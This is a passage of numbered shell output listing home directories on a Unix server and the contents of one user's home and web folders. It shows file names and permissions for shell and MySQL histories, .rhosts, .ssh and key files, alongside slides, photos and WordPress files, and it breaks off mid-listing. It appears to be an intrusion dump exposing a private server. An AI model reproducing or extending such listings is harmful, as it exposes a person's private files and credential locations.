drwxr-xr-x 3 nblasgen nblasgen 512 May 23 2007 nblasgen 7606 drwxr-xr-x 2 nightfall nightfall 512 Oct 8 2007 nightfall 7607 drwx--x--x 33 nouveaux nouveaux 3072 Jul 18 2008 nouveaux 7608 drwxr-xr-x 3 oracle oracle 512 Jun 3 2004 oracle 7609 drwxr-xr-x 5 peter peter 512 Sep 13 2006 peter 7610 drwxr-xr-x 3 pgibson pgibson 512 Apr 18 2005 pgibson 7611 drwxr-xr-x 3 pj pj 512 Dec 19 2002 pj 7612 drwx------ 3 plastic plastic 512 Feb 6 12:59 plastic 7613 drwxr-x--x 11 pond pond 1024 Sep 3 2007 pond 7614 drwxr-xr-x 3 ragingworker ragingworker 512 Feb 25 2002 ragingworker 7615 drwxr-xr-x 6 rsb rsb 512 Jan 24 2002 rsb 7616 drwxr-xr-x 2 schoen schoen 512 Jan 24 2002 schoen 7617 drwx------ 6 sith sith 512 Jun 10 2006 sith 7618 drwxrwsr-x 5 six six 512 Apr 8 01:09 six 7619 -rw-r--r-- 1 root wheel 800 Sep 3 2007 sizes 7620 drwxr-x--- 5 skippy skippy 512 Oct 19 2005 skippy 7621 drwxr-xr-x 3 sokol sokol 512 Aug 12 2006 sokol 7622 drwxr-xr-x 11 submicron submicron 1024 Mar 17 2008 submicron 7623 drwxr-xr-x 3 t t 512 Jun 26 04:57 t 7624 drwxr-xr-x 2 tagrrr tagrrr 512 Jul 15 2003 tagrrr 7625 drwxr-xr-x 6 temtel temtel 1024 Jun 9 2006 temtel 7626 drwxr-xr-x 2 test1 test1 512 Aug 26 2005 test1 7627 drwxr-x--- 141 thalakan thalakan 26112 Jul 20 09:10 thalakan 7628 drwxr-xr-x 8 travis travis 512 May 2 2006 travis 7629 drwxr-xr-x 3 tspwh tspwh 512 Feb 1 2008 tspwh 7630 drwxr-xr-x 9 atheris atheris 1024 Sep 24 2007 unixsurplus 7631 drwxr-xr-x 2 unredo unredo 512 Mar 12 15:21 unredo 7632 drwxr-xr-x 2 root wheel 512 Mar 13 2005 v1ru5 7633 drwxr-xr-x 3 vintasia vintasia 512 Jan 24 2002 vintasia 7634 drwxr-xr-x 2 visigoth visigoth 512 Jul 5 2003 visigoth 7635 drwxr-xr-x 2 wd40 wd40 2048 Sep 26 2007 wd40 7636 drwxr-xr-x 7 x30n x30n 512 Nov 21 2006 x30n 7637 drwxr-xr-x 8 zahl zahl 1024 Jun 25 2002 zahl 7638 $ cd effugas 7639 $ ls -al 7640 total 9506018 7641 -rw-r--r-- 1 effugas effugas 344 Feb 19 2006 ! 7642 drwxr-xr-x 31 effugas effugas 2048 Sep 22 2008 . 7643 drwxr-xr-x 73 root wheel 1536 Jun 26 04:56 .. 7644 drwx------ 3 effugas effugas 512 Sep 26 2005 .BitchX 7645 -rw------- 1 effugas effugas 7772 Jun 4 11:56 .bash_history 7646 drwxr-xr-x 5 effugas effugas 512 Oct 31 2005 .cpan 7647 -rw-r--r-- 1 effugas effugas 771 Aug 9 2002 .cshrc 7648 drwxr-xr-x 3 effugas effugas 512 Mar 16 2005 .emacs.d 7649 -rw------- 1 effugas effugas 42 Sep 22 2008 .lesshst 7650 drwx------ 2 effugas effugas 512 Feb 19 2006 .links 7651 -rw-r--r-- 1 effugas effugas 255 Aug 9 2002 .login 7652 -rw-r--r-- 1 effugas effugas 165 Aug 9 2002 .login_conf 7653 -rw------- 1 effugas effugas 371 Aug 9 2002 .mail_aliases 7654 -rw-r--r-- 1 effugas effugas 331 Aug 9 2002 .mailrc 7655 -rw------- 1 effugas effugas 5478 Jul 25 2008 .mysql_history 7656 -rw-r--r-- 1 effugas effugas 789 Aug 9 2002 .profile 7657 -rw------- 1 effugas effugas 276 Aug 9 2002 .rhosts 7658 -rw-r--r-- 1 effugas effugas 852 Aug 9 2002 .shrc 7659 drwxr-xr-x 2 effugas effugas 512 Aug 1 2004 .ssh 7660 -rw-r--r-- 1 effugas effugas 785514 Apr 3 2007 DSCF7896.JPG 7661 drwxr-xr-x 2 effugas effugas 512 Jun 28 2004 Desktop 7662 -rw-r--r-- 1 effugas effugas 62548 Nov 29 2005 HTTP-Proxy.tar.gz 7663 -rwxr-xr-x 1 effugas effugas 266 Jan 29 2005 OzyBench.pm 7664 -rwxr-xr-x 1 effugas effugas 8872 Jan 29 2005 OzyResolve.pm 7665 drwx------ 2 effugas effugas 512 Apr 14 2003 Pics 7666 drwxr-xr-x 2 effugas effugas 512 Dec 20 2004 admin 7667 -rw-r--r-- 1 effugas effugas 0 Apr 16 2006 airhook-2.tar.gz 7668 lrwxr-xr-x 1 effugas effugas 26 Apr 16 2003 albums -> doxpara/pics/picKLE-albums 7669 -rw-r--r-- 1 effugas effugas 29884 Apr 27 2006 cal311.rle 7670 -rwx------ 1 effugas effugas 16384 Sep 30 2005 cc.doc 7671 -rw-r--r-- 1 effugas effugas 2272 Dec 20 2004 ctry_usage_200412.png 7672 -rw-r--r-- 1 effugas effugas 2501 Dec 20 2004 daily_usage_200412.png 7673 -rw-r--r-- 1 effugas effugas 9 Nov 19 2007 delete_this_plz_k_thx 7674 drwxr-xr-x 5 effugas effugas 512 May 29 2005 dltrace-0.5 7675 -rw-r--r-- 1 effugas effugas 198330 Apr 28 2005 dltrace-0.5.tar.bz2 7676 drwxrwxrwx 124 effugas effugas 28672 Jul 18 06:22 doxpara 7677 -rw-r--r-- 1 effugas effugas 753427 Oct 17 2007 drupal-5.3.tar.gz 7678 -rw-r--r-- 1 effugas effugas 1588 Dec 20 2004 hourly_usage_200412.png 7679 -rw-r--r-- 1 root effugas 216555114 Jul 20 09:10 httpd-doxpara-error.log 7680 -rw-r--r-- 1 root effugas 9452989787 Jul 20 09:10 httpd-doxpara.log 7681 drwxr-xr-x 2 effugas effugas 512 Jun 14 2005 huh 7682 -rw-r--r-- 1 effugas effugas 10138487 Nov 24 2007 huh.gz 7683 -rw-r--r-- 1 effugas effugas 104 Nov 24 2007 huh2.gz 7684 -rw-r--r-- 1 effugas effugas 18093548 Nov 24 2007 huh_new.gz 7685 -rw-r--r-- 1 effugas effugas 15748938 Nov 24 2007 huh_shai.gz 7686 -rw-r--r-- 1 effugas effugas 617 Jul 28 2003 id_dsa-dan_needs_to_drink_more.pub 7687 -rw-r--r-- 1 effugas effugas 236 Nov 14 2002 id_rsa.pub 7688 drwxr-xr-x 2 effugas effugas 512 Dec 25 2003 igi-udp 7689 -rw-r--r-- 1 effugas effugas 18720 Mar 24 2003 igi-udp.tgz 7690 -rw-r--r-- 1 effugas effugas 0 Sep 22 2008 index.html 7691 -rw-r--r-- 1 effugas effugas 6552 Apr 27 2006 input.pgm 7692 -rw-r--r-- 1 effugas effugas 19432 Apr 27 2006 input.ppm 7693 -rw-r--r-- 1 effugas effugas 10516 Apr 27 2006 input.rle 7694 drwx------ 2 effugas effugas 512 Sep 9 2005 mad_bike 7695 drwxr-xr-x 10 effugas effugas 1024 Nov 9 2002 minewt 7696 -rw-r--r-- 1 effugas effugas 10832895 Jul 8 2008 new2.db.gz 7697 drwxr-xr-x 2 effugas effugas 512 Feb 20 2006 offline 7698 drwxr-sr-x 2 effugas effugas 512 Sep 16 2003 onesixtyone-0.3.1 7699 drwxr-xr-x 2 effugas effugas 512 Jan 19 2005 ozy2 7700 -rwxr-xr-x 1 effugas effugas 437 Jan 29 2005 ozybench.pl 7701 drwxr-xr-x 4 effugas effugas 512 Dec 25 2003 pathchirp-2.3.3 7702 -rw-r--r-- 1 effugas effugas 60375 Sep 13 2003 pathchirp-2.3.3.tar.gz 7703 drwxr-xr-x 3 effugas effugas 512 Jan 28 2005 pathchirp-2.3.7 7704 -rw-r--r-- 1 effugas effugas 59321 Sep 6 2004 pathchirp-2.3.7.tar.gz 7705 drwxr-xr-x 3 effugas effugas 512 Oct 31 2005 perl 7706 drwxr-xr-x 3 effugas effugas 512 Feb 19 2006 py 7707 -rw-r--r-- 1 effugas effugas 37446 Nov 19 2002 ref 7708 -rw-r--r-- 1 effugas effugas 41381 Dec 7 2004 ref.txt 7709 -rw-r--r-- 1 effugas effugas 37446 Nov 19 2002 ref2 7710 -rw-r--r-- 1 effugas effugas 65058 Nov 21 2002 ref3 7711 -rw-r--r-- 1 effugas effugas 105868 Nov 26 2002 ref4 7712 -rw-r--r-- 1 effugas effugas 125464 Dec 1 2002 ref5 7713 drwxr-xr-x 2 effugas effugas 512 Jul 15 2008 reply_here 7714 -rw-r--r-- 1 effugas effugas 36946 Apr 19 2005 sm_tool.py 7715 drwxr-xr-x 5 effugas effugas 512 Sep 26 2005 sqlite 7716 drwxr-xr-x 11 effugas effugas 2048 Sep 26 2005 sqlite-2.8.16 7717 -rw-r--r-- 1 effugas effugas 981834 Sep 26 2005 sqlite-2.8.16.tar.gz 7718 drwxr-xr-x 4 effugas effugas 512 Sep 9 2005 stab-1.3.1 7719 drwxr-xr-x 2 effugas effugas 512 Feb 11 2003 temp 7720 -rw-r--r-- 1 effugas effugas 61084 Nov 11 2000 test.rle 7721 -rw-r--r-- 1 effugas effugas 17 Mar 27 2006 test.txt 7722 drwxr-xr-x 3 effugas effugas 512 Jul 13 2005 tmp 7723 drwxr-xr-x 6 effugas effugas 512 Jan 17 2006 txt2html-2.44 7724 -rw-r--r-- 1 effugas effugas 117583 Jan 17 2006 txt2html-2.44.tar.gz 7725 -rw-r--r-- 1 effugas effugas 137992 Oct 21 2004 up.rle 7726 drwxr-xr-x 4 effugas effugas 512 Feb 19 2006 uptest 7727 -rw-r--r-- 1 effugas effugas 2072 Dec 20 2004 usage.png 7728 -rw-r--r-- 1 effugas effugas 37255 Dec 20 2004 usage_200412.html 7729 lrwxr-xr-x 1 effugas effugas 28 Apr 16 2003 van -> albums/2003-Apr14-Vancouver/ 7730 -rw-r--r-- 1 effugas effugas 28 Dec 20 2004 webalizer.hist 7731 -rw-r--r-- 1 effugas effugas 33721 Jun 5 2007 why_you_do_this.jpg 7732 -rwx------ 1 effugas effugas 743720 Jul 19 2003 winscp310.exe 7733 -rw-r--r-- 1 effugas effugas 30720 Jan 19 2005 wtf 7734 -rw-r--r-- 1 effugas effugas 4084 Apr 19 2005 wtf.foo 7735 -rw-r--r-- 1 effugas effugas 0 Nov 18 2002 ~. 7736 $ cd doxpara 7737 $ ls -la 7738 total 691032 7739 drwxrwxrwx 124 effugas effugas 28672 Jul 18 06:22 . 7740 drwxr-xr-x 31 effugas effugas 2048 Sep 22 2008 .. 7741 -rw-r--r-- 1 effugas effugas 20480 Sep 5 2005 .Frontpage.swm 7742 -rw-r--r-- 1 effugas effugas 20480 Apr 19 2005 .Frontpage.swn 7743 -rw-r--r-- 1 effugas effugas 20480 Apr 19 2005 .Frontpage.swo 7744 -rw------- 1 effugas effugas 20480 Nov 21 2002 .Frontpage.swp 7745 -rw------- 1 effugas effugas 12288 Jun 22 2003 .Sidebar.swp 7746 -rw-r--r-- 1 effugas effugas 12288 Dec 24 2005 .hikids.html.swp 7747 -rwxrwxrwx 1 effugas effugas 1056 Oct 21 2008 .htaccess 7748 -rw------- 1 effugas effugas 12288 Feb 2 2006 .obvious.html.swp 7749 -rw-r--r-- 1 effugas effugas 5482570 Aug 7 2006 08-07-06_Hackers.mp3 7750 -rw-r--r-- 1 effugas effugas 171 Jan 3 2005 404.php 7751 -rwxr--r-- 1 effugas effugas 1779714 Jan 7 2003 777Bitches.mp3 7752 -rw-r--r-- 1 effugas effugas 36848 Feb 11 2001 Acceptance_camoback.jpg 7753 -rw-r--r-- 1 effugas effugas 78 Nov 14 2002 Addition.html 7754 -rw-r--r-- 1 effugas effugas 192991 Nov 17 2002 Advanced_OpenSSH.pdf 7755 -rw-r--r-- 1 effugas effugas 34691 Feb 11 2001 Anger_camoback.jpg 7756 -rwxr-xr-x 1 effugas effugas 169984 Mar 5 2003 Applied_Black_Ops_BHW_2003.ppt 7757 -rw-r--r-- 1 effugas effugas 301 Feb 11 2001 Arrow_DownLeft.gif 7758 -rw-r--r-- 1 effugas effugas 299 Feb 11 2001 Arrow_DownRight.gif 7759 -rw-r--r-- 1 effugas effugas 303 Feb 11 2001 Arrow_UpLeft.gif 7760 -rw-r--r-- 1 effugas effugas 305 Feb 11 2001 Arrow_UpRight.gif 7761 -rw-r--r-- 1 effugas effugas 391680 Apr 17 2003 BabelNet-1_11.doc 7762 -rw-r--r-- 1 effugas effugas 36608 Feb 11 2001 Bargaining_camoback.jpg 7763 -rw-r--r-- 1 effugas effugas 803840 Nov 15 2002 Black_Ops_Asia.ppt 7764 -rw-r--r-- 1 effugas effugas 345088 Jul 29 2004 Black_Ops_DNS_BH.ppt 7765 -rw-r--r-- 1 effugas effugas 310272 Nov 15 2002 Black_Ops_DefconX.ppt 7766 -rw-r--r-- 1 effugas effugas 1302528 Nov 18 2002 Black_Ops_Hivercon.ppt 7767 -rw-r--r-- 1 effugas effugas 1275904 Dec 24 2002 Black_Ops_Hivercon_Final.ppt 7768 -rw-r--r-- 1 effugas effugas 8910773 Nov 14 2002 Black_Ops_Of_TCPIP2.pdf 7769 -rw-r--r-- 1 effugas effugas 458752 Aug 1 2005 Black_Ops_Of_TCPIP_2005.ppt 7770 -rw-r--r-- 1 effugas effugas 20255 Aug 14 2005 CHANGELOG.txt 7771 -rw-r--r-- 1 effugas effugas 21038 Feb 11 2001 Caere_General_Privacy_Protection_Fault.gif 7772 -rw-r--r-- 1 effugas effugas 21807 Feb 11 2001 Caere_Illegal_Operation.gif 7773 -rw-r--r-- 1 effugas effugas 36644 Feb 11 2001 Case_Study_camoback.jpg 7774 -rw-r--r-- 1 effugas effugas 36319 Feb 11 2001 Conclusion_camoback.jpg 7775 -rw-r--r-- 1 effugas effugas 176550 Nov 4 2008 CssFilter_1.0.zip 7776 -rwxr-xr-x 1 effugas effugas 2526208 Aug 3 2007 DMK_BO2K7_Web.ppt 7777 -rwxrwxrwx 1 effugas effugas 3480064 Aug 15 2008 DMK_BO2K8.ppt 7778 -rwxrwxrwx 1 effugas effugas 2673664 Feb 20 08:52 DMK_BO2K8_BHFed.ppt 7779 -rwxr-xr-x 1 effugas effugas 2143744 Jan 20 11:35 DMK_BO2K8_CCC.ppt 7780 lrwxr-xr-x 1 effugas effugas 17 Feb 20 09:13 DMK_Neut_Toor.ppt -> DMK_Neut_toor.ppt 7781 -rwxrwxrwx 1 effugas effugas 3241984 Jul 28 2008 DMK_Neut_toor.ppt 7782 -rw-r--r-- 1 effugas effugas 2270768 Dec 25 2004 DSC01568.JPG 7783 -rwxr-xr-x 1 effugas effugas 53139 Feb 16 2006 DanK_VBFeb06.pdf 7784 -rw-r--r-- 1 effugas effugas 37553 Nov 13 2002 Dan_Kaminsky_Resume.pdf 7785 -rw-r--r-- 1 effugas effugas 10801 Feb 11 2001 Dan_Pic.jpg 7786 -rw-r--r-- 1 effugas effugas 34934 Feb 11 2001 Denial_camoback.jpg 7787 -rw-r--r-- 1 effugas effugas 36755 Feb 11 2001 Depression_camoback.jpg 7788 drwxr-xr-x 4 effugas effugas 512 Aug 19 2008 Diff 7789 -rw-r--r-- 1 effugas effugas 11028 Apr 18 2008 Diff.php 7790 -rw-r--r-- 1 effugas effugas 29836 Feb 11 2001 DoxSTAR_Logo.jpg 7791 -rw-r--r-- 1 effugas effugas 31977 Feb 11 2001 DoxSTAR_New_Logo.jpg 7792 drwxr-xr-x 2 effugas effugas 512 Aug 19 2008 Engine 7793 -rw-r--r-- 1 effugas effugas 51619 Sep 23 2005 Frontpage 7794 -rw-r--r-- 1 effugas effugas 40411 Apr 12 2005 Frontpage_backup 7795 -rw-r--r-- 1 effugas effugas 26280 Nov 14 2002 Frontpage_old 7796 -rw-r--r-- 1 effugas effugas 15364 Dec 24 2002 Frontpage_orig 7797 -rw-r--r-- 1 effugas effugas 1016 Nov 14 2002 Frontpage~ 7798 -rw-r--r-- 1 effugas effugas 4099 Mar 3 2008 GoogleSpell.php 7799 -rw-r--r-- 1 effugas effugas 959731 Sep 15 2003 IMGP1778.JPG 7800 -rw-r--r-- 1 effugas effugas 1001186 Sep 26 2003 IMGP1807.JPG 7801 -rw-r--r-- 1 effugas effugas 663074 Jul 22 2004 IMGP2357.JPG 7802 -rw-r--r-- 1 effugas effugas 658676 Jul 22 2004 IMGP2358.JPG 7803 -rw-r--r-- 1 effugas effugas 657209 Jul 22 2004 IMGP2360.JPG 7804 -rw-r--r-- 1 effugas effugas 10280 Apr 22 2005 INSTALL.txt 7805 -rw-r--r-- 1 effugas effugas 37027 Feb 11 2001 Introduction_camoback.jpg 7806 -rw-r--r-- 1 effugas effugas 11877 Jan 17 2008 JSON.php 7807 -rw-r--r-- 1 effugas effugas 18019 Sep 15 2004 LICENSE.txt 7808 -rw-r--r-- 1 effugas effugas 237080 Sep 25 2003 Library.array 7809 -rw-r--r-- 1 effugas effugas 5465 Jan 17 2008 Logger.php 7810 -rw-r--r-- 1 effugas effugas 1428 Sep 15 2004 MAINTAINERS.txt 7811 -rw-r--r-- 1 effugas effugas 1125 Mar 2 2008 MIT-LICENSE 7812 -rw-r--r-- 1 effugas effugas 1900 Jan 17 2008 PSpell.php 7813 -rw-r--r-- 1 effugas effugas 2810 Jan 17 2008 PSpellShell.php 7814 -rw-r--r-- 1 effugas effugas 2428600 Nov 14 2002 Publ.2000.5.pdf 7815 -rw-r--r-- 1 effugas effugas 27914818 Nov 14 2002 Publ.2002.3.pdf 7816 drwxr-xr-x 2 effugas effugas 512 Aug 19 2008 Renderer 7817 -rw-r--r-- 1 effugas effugas 6782 Apr 18 2008 Renderer.php 7818 -rw-r--r-- 1 effugas effugas 253440 Jul 30 2003 SBO.ppt 7819 -rwxr-xr-x 1 effugas effugas 302592 Oct 1 2003 SBO_Fed.ppt 7820 -rw-r--r-- 1 effugas effugas 461312 Sep 19 2003 SBO_Fed_Prerelease.ppt 7821 -rw-r--r-- 1 effugas effugas 634880 Nov 12 2003 SBO_Hiver.ppt 7822 -rw-r--r-- 1 effugas effugas 175847 Mar 26 2007 SharkReefScaredPic.jpg 7823 -rw-r--r-- 1 effugas effugas 423577 Mar 26 2007 SharkReefVegasPic.jpg 7824 -rw-r--r-- 1 effugas effugas 2305 Jul 13 2005 Sidebar 7825 -rw-r--r-- 1 effugas effugas 0 Dec 29 2004 Sidebar~ 7826 -rw-r--r-- 1 effugas effugas 29566 Feb 11 2001 Silc2.jpg 7827 -rw-r--r-- 1 effugas effugas 36390 Feb 11 2001 Sociology_camoback.jpg 7828 -rw-r--r-- 1 effugas effugas 1486 Feb 4 2008 SpellChecker.php 7829 -rwxrwxrwx 1 effugas effugas 206336 Mar 9 16:45 Staring Into The Abyss.doc 7830 -rwxrwxrwx 1 effugas effugas 204187 Mar 9 16:45 Staring Into The Abyss.pdf 7831 -rw-r--r-- 1 effugas effugas 79 Nov 14 2002 StringBuf.html 7832 drwxr-xr-x 3 effugas effugas 512 Jul 15 2008 Text 7833 -rw-r--r-- 1 effugas effugas 2633059 Sep 7 2006 Title_01.txt.png 7834 -rw-r--r-- 1 effugas effugas 951434 Jun 10 2002 Unwind.mov 7835 -rw-r--r-- 1 effugas effugas 2622 Nov 14 2002 ] 7836 -rw-r--r-- 1 effugas effugas 84604 Feb 11 2001 a_DoxSTAR_Logo.jpg 7837 -rw-r--r-- 1 effugas effugas 2943 Jun 27 2008 about.htm 7838 -rw-r--r-- 1 effugas effugas 2059 Feb 25 2008 about.js 7839 drwxr-xr-x 2 effugas effugas 512 Mar 9 12:26 abyss 7840 -rw-r--r-- 1 effugas effugas 37527 Nov 14 2002 act.html 7841 -rw-r--r-- 1 effugas effugas 157 Jul 1 2001 adddrop.gif 7842 -rw-r--r-- 1 effugas effugas 139 Jul 1 2001 addext.gif 7843 -rw-r--r-- 1 effugas effugas 1184 Jul 1 2001 addfull.gif 7844 -rw-r--r-- 1 effugas effugas 262 Jul 1 2001 addgo.gif 7845 -rw-r--r-- 1 effugas effugas 228 Jul 1 2001 addleft.gif 7846 -rw-r--r-- 1 effugas effugas 216 Jul 1 2001 addlinks.gif 7847 -rw-r--r-- 1 effugas effugas 562 Jul 1 2001 addmidd.gif 7848 -rw-r--r-- 1 effugas effugas 401 Jul 1 2001 addright.gif 7849 -rw-r--r-- 1 effugas effugas 91 Jul 1 2001 addspace.gif 7850 -rw-r--r-- 1 effugas effugas 18030 Jul 8 2008 admin-ajax.php 7851 -rw-r--r-- 1 effugas effugas 571 Feb 29 2008 admin-footer.php 7852 -rw-r--r-- 1 effugas effugas 182 Mar 21 2008 admin-functions.php 7853 -rw-r--r-- 1 effugas effugas 6447 Jul 3 2008 admin-header.php 7854 -rw-r--r-- 1 effugas effugas 432 Jul 11 2008 admin-post.php 7855 -rw-r--r-- 1 effugas effugas 845 Apr 14 2008 admin.php 7856 drwxr-xr-x 5 effugas effugas 512 Aug 19 2008 advanced 7857 -rw-r--r-- 1 effugas effugas 242613 Feb 2 2004 agenda.pdf 7858 drwxr-xr-x 2 effugas effugas 512 Aug 19 2008 akismet 7859 -rw-r--r-- 1 effugas effugas 2777 Aug 23 2006 akismet.gif 7860 -rw-r--r-- 1 effugas effugas 33730 Jul 1 2008 akismet.php 7861 -rw-r--r-- 1 effugas effugas 818 Jan 17 2008 alert.gif 7862 -rw-r--r-- 1 effugas effugas 571 Jan 9 2008 align-center.png 7863 -rw-r--r-- 1 effugas effugas 587 Jan 9 2008 align-left.png 7864 -rw-r--r-- 1 effugas effugas 453 Jan 9 2008 align-none.png 7865 -rw-r--r-- 1 effugas effugas 556 Jan 9 2008 align-right.png 7866 -rw-r--r-- 1 effugas effugas 1126 Jun 27 2008 anchor.htm 7867 -rw-r--r-- 1 effugas effugas 1029 Mar 25 2008 anchor.js 7868 drwxr-xr-x 2 effugas effugas 1536 Sep 14 2003 angel 7869 -rw-r--r-- 1 effugas effugas 0 Apr 26 2005 ani 7870 -rw-r--r-- 1 effugas effugas 91140 Feb 20 2005 ani.jpg 7871 lrwxr-xr-x 1 effugas effugas 5 Jul 30 2003 apps -> apps2 7872 drwxr-xr-x 25 effugas effugas 512 Aug 15 2004 apps2 7873 -rw-r--r-- 1 effugas effugas 1561824 Aug 20 2006 ar32_color_partial.png 7874 -rw-r--r-- 1 effugas effugas 2436 Feb 20 2008 archive.php 7875 -rw-r--r-- 1 effugas effugas 3066 Feb 28 2008 archive.png 7876 -rw-r--r-- 1 effugas effugas 352 Nov 18 2006 archives.php 7877 -rw-r--r-- 1 effugas effugas 8502243 Jun 16 2005 arm1.zip 7878 -rwxr-xr-x 1 effugas effugas 91136 Nov 14 2002 ass10.txt 7879 -rw-r--r-- 1 effugas effugas 1416 Jun 24 2008 async-upload.php 7880 -rw-r--r-- 1 effugas effugas 175 Feb 3 2006 at5.html 7881 -rw-r--r-- 1 effugas effugas 10928 Jun 20 2008 atomlib.php 7882 -rw-r--r-- 1 effugas effugas 430 Dec 24 2005 attack.html 7883 -rw-r--r-- 1 effugas effugas 180 Dec 24 2005 attack2.html 7884 -rw-r--r-- 1 effugas effugas 200604 Mar 24 2003 au8820.o 7885 -rw-r--r-- 1 effugas effugas 146 Jul 3 2008 audio.gif 7886 -rw-r--r-- 1 effugas effugas 4671 Dec 13 2005 audio.jpg 7887 -rw-r--r-- 1 effugas effugas 2647 Feb 28 2008 audio.png 7888 -rw-r--r-- 1 effugas effugas 36130 Apr 24 2007 audiodot.jpg 7889 -rw-r--r-- 1 effugas effugas 14171 Jun 20 2008 author-template.php 7890 drwxr-xr-x 2 effugas effugas 512 Aug 19 2008 autosave 7891 -rw-r--r-- 1 effugas effugas 8131 Jun 23 2008 autosave.js 7892 -rw-r--r-- 1 effugas effugas 8048 Jan 23 2006 av2.txt 7893 -rwxr-xr-x 1 effugas effugas 10600 Jan 25 2006 av4.html 7894 -rwx------ 1 effugas effugas 10381 Jan 25 2006 av4.txt 7895 -rw-r--r-- 1 effugas effugas 5661 Jan 22 2006 av_pre.html 7896 -rw-r--r-- 1 effugas effugas 5502 Jan 22 2006 av_pre.txt 7897 -rw-r--r-- 1 effugas effugas 47957 Dec 10 2004 avaya.js 7898 -rw-r--r-- 1 effugas effugas 59756 Sep 23 2001 awpladin.jpg 7899 -rw-r--r-- 1 effugas effugas 9043618 Apr 11 2005 b-ball-e-mail.mov 7900 -rw-r--r-- 1 effugas effugas 20403 Sep 11 2005 b151_alpha.tgz 7901 -rwxrwxrwx 1 effugas effugas 90306 Feb 11 15:20 badidea.jpg 7902 -rwxrwxrwx 1 effugas effugas 69977 Feb 11 15:20 badidea.png 7903 drwxr-xr-x 2 effugas effugas 10240 Dec 21 2006 bait2 7904 -rw-r--r-- 1 effugas effugas 36613 Oct 29 2006 bam.jpg 7905 -rw-r--r-- 1 effugas effugas 1275 May 28 2004 base64.tgz 7906 -rw-r--r-- 1 effugas effugas 14760218 Apr 28 2005 basic_opte.dump 7907 -rw-r--r-- 1 effugas effugas 3512300 Apr 28 2005 basic_opte.zip 7908 -rw-r--r-- 1 effugas effugas 34713 Oct 6 2003 bathroom1.jpg 7909 -rw-r--r-- 1 effugas effugas 30767 Oct 6 2003 bathroom2.jpg 7910 -rw-r--r-- 1 effugas effugas 37078 Oct 6 2003 bathroom3.jpg 7911 -rw-r--r-- 1 effugas effugas 36704 Sep 7 2001 bboym.jpg 7912 -rwxr-xr-x 1 effugas effugas 64 Feb 2 2006 bgat.html 7913 -rw-r--r-- 1 effugas effugas 2668661 Sep 20 2003 bigtrace_foo.txt.gz 7914 -rw-r--r-- 1 effugas effugas 512200 Sep 20 2003 bigtrace_ordered.txt.gz 7915 -rw-r--r-- 1 effugas effugas 2456 Jan 17 1999 bjt.gif 7916 -rw-r--r-- 1 effugas effugas 3896 Mar 11 2001 bjt.jpg 7917 -rw-r--r-- 1 effugas effugas 7480 Jul 1 2004 black_ops_of_dns.txt 7918 -rw-r--r-- 1 effugas effugas 395 Jan 17 2008 blank.css 7919 -rw-r--r-- 1 effugas effugas 43 May 4 2008 blank.gif 7920 -rw-r--r-- 1 effugas effugas 204 Jan 6 2008 blank.htm 7921 -rw-r--r-- 1 effugas effugas 36963 Apr 16 2008 blogger.php 7922 -rw-r--r-- 1 effugas effugas 6264 Feb 29 2008 blogware.php 7923 -rwxr-xr-x 1 effugas effugas 3145 Sep 5 2007 blue1.png 7924 -rwxr-xr-x 1 effugas effugas 15962 Aug 15 2005 blue_double_cross.swf 7925 -rw-r--r-- 1 effugas effugas 1021215 Jun 21 2004 bo2004.pdf 7926 -rw-r--r-- 1 effugas effugas 483840 Jun 13 2004 bo2004.ppt 7927 -rw-r--r-- 1 effugas effugas 4300 Feb 13 2005 boe2.html 7928 -rwxr-xr-x 1 effugas effugas 810 Feb 5 2005 boeing.html 7929 -rw-r--r-- 1 effugas effugas 7090 Feb 5 2005 boeing.js 7930 -rw-r--r-- 1 effugas effugas 8948 Jun 24 2008 bookmark-template.php 7931 -rw-r--r-- 1 effugas effugas 4818 Apr 15 2008 bookmark.php 7932 -rw-r--r-- 1 effugas effugas 409 Nov 14 2002 bottom.html 7933 -rw-r--r-- 1 effugas effugas 365 Nov 14 2002 bottom_ie.html 7934 -rw-r--r-- 1 effugas effugas 2142026 Dec 17 2006 bouncy.avi 7935 -rw-r--r-- 1 effugas effugas 4398 Aug 27 2005 browse-happy.gif 7936 -rw-r--r-- 1 effugas effugas 3473 Feb 27 2008 btt.php 7937 -rw-r--r-- 1 effugas effugas 395 Mar 22 2008 bubble_bg.gif 7938 -rw-r--r-- 1 effugas effugas 4770 Mar 2 2008 builder.js 7939 -rw-r--r-- 1 effugas effugas 280 Jan 17 2008 button.gif 7940 -rw-r--r-- 1 effugas effugas 989 Jan 31 2008 buttons.gif 7941 -rw-r--r-- 1 effugas effugas 3274 Jan 17 2008 buttons.png 7942 -rwxr-xr-x 1 effugas effugas 559 Mar 23 2003 bwmon.sh 7943 -rw-r--r-- 1 effugas effugas 11872 May 25 2008 cache.php 7944 -rw-r--r-- 1 effugas effugas 488058 Dec 1 2006 cacm_kaminsky.pdf 7945 -rw-r--r-- 1 effugas effugas 71 Nov 14 2002 cal.html 7946 -rw-r--r-- 1 effugas effugas 1832402 Aug 30 2001 cal_rasterbation.jpg 7947 -rw-r--r-- 1 effugas effugas 129974 Aug 30 2001 cal_rasterbation_small.jpg 7948 -rwxr--r-- 1 effugas effugas 1106567 Jan 1 2003 call.wm_ 7949 -rw-r--r-- 1 effugas effugas 9744 May 25 2008 canonical.php 7950 -rw-r--r-- 1 effugas effugas 12732 Apr 16 2008 capabilities.php 7951 -rw-r--r-- 1 effugas effugas 146988 May 15 2007 carpenter.jpg 7952 -rw-r--r-- 1 effugas effugas 556 Oct 31 2007 cat.js 7953 -rw-r--r-- 1 effugas effugas 658 Mar 2 2008 categories.js 7954 -rw-r--r-- 1 effugas effugas 5473 Jun 13 2008 categories.php 7955 -rw-r--r-- 1 effugas effugas 16490 Jul 8 2008 category-template.php 7956 -rw-r--r-- 1 effugas effugas 11341 Jun 15 2008 category.php 7957 -rw-r--r-- 1 effugas effugas 36340 Jun 29 2005 caution.gif 7958 -rw-r--r-- 1 effugas effugas 362496 Sep 30 2005 cc.doc 7959 -rw-r--r-- 1 effugas effugas 2812509 Feb 6 2006 cdcygssh.cab 7960 -rw-r--r-- 1 effugas effugas 25 Feb 6 2006 cdl.html 7961 -rw-r--r-- 1 effugas effugas 41 Jun 1 02:21 cert.htm 7962 -rw-r--r-- 1 effugas effugas 0 Jun 1 02:21 cert.html 7963 -rw-r--r-- 1 effugas effugas 309643 Jan 22 2002 ch12.pdf 7964 -rw-r--r-- 1 effugas effugas 469968 Jan 22 2002 ch13.pdf 7965 -rw-r--r-- 1 effugas effugas 2398 Jun 27 2008 charmap.htm 7966 -rw-r--r-- 1 effugas effugas 14515 Feb 21 2008 charmap.js 7967 -rwxr-xr-x 1 effugas effugas 95232 